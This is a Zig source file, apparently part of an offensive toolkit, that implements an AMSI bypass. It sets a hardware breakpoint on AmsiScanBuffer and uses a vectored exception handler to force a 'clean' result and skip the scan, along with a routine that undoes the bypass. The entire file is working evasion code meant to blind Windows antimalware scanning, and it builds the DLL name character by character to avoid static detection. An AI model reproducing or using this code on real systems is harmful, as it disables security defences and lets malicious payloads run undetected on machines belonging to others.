// AMSI bypass — VEH backed hardware breakpoint on AmsiScanBuffer. No bytes modified in amsi.dll.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");

var g_veh_handle: ?*anyopaque = null;
var g_amsi_scan_addr: ?*anyopaque = null;

// VEH handler: on SINGLE_STEP at g_amsi_scan_addr → RAX=0, RIP=ret_addr, skip function
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
    if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
        ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
    {
        ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
        const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
        ex.ContextRecord.Rip = ret_addr; // jump to AmsiScanBuffer's caller
        ex.ContextRecord.Rsp += 8; // pop return address
        return win.EXCEPTION_CONTINUE_EXECUTION;
    }
    return win.EXCEPTION_CONTINUE_SEARCH;
}

pub fn patch_amsi() void {
    if (g_veh_handle != null) return;
    api.ensure();
    const load_w = api.amsi_load_library_w orelse return;
    const get_addr = api.amsi_get_proc_address orelse return;
    const veh = api.amsi_add_vectored_exception_handler orelse return;
    const cur_thread = api.amsi_get_current_thread orelse return;
    const set_ctx = api.amsi_set_thread_context orelse return;
    const suspend_thread = api.amsi_suspend_thread orelse return;
    const resume_thread = api.amsi_resume_thread orelse return;
    const amsi = load_w(&[_:0]u16{ 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', 0 });
    if (amsi == null) return;
    g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
    if (g_amsi_scan_addr == null) return;
    g_veh_handle = veh(1, amsi_veh_handler); // 1 = first in handler chain
    const thread = cur_thread();
    var ctx = std.mem.zeroes(win.CONTEXT);
    ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
    ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); // breakpoint address
    ctx.Dr7 = (1 << 0); // enable DR0 locally
    _ = suspend_thread(thread);
    _ = set_ctx(thread, &ctx);
    _ = resume_thread(thread);
}

// Undo AMSI bypass — remove VEH handler, clear DR0/DR7 hardware breakpoint.
pub fn unpatch_amsi() void {
    // Remove the VEH handler
    if (g_veh_handle) |h| {
        if (api.amsi_remove_vectored_exception_handler) |remove| {
            _ = remove(h);
        }
        g_veh_handle = null;
    }

    // Clear DR0/DR7 — best-effort, APIs null if ensure() didn't run
    if (api.amsi_get_current_thread) |cur_thread| {
        if (api.amsi_set_thread_context) |set_ctx| {
            if (api.amsi_suspend_thread) |suspend_t| {
                if (api.amsi_resume_thread) |resume_t| {
                    const thread = cur_thread();
                    var ctx = std.mem.zeroes(win.CONTEXT);
                    ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
                    ctx.Dr0 = 0;
                    ctx.Dr7 = 0;
                    _ = suspend_t(thread);
                    _ = set_ctx(thread, &ctx);
                    _ = resume_t(thread);
                }
            }
        }
    }
    g_amsi_scan_addr = null;
}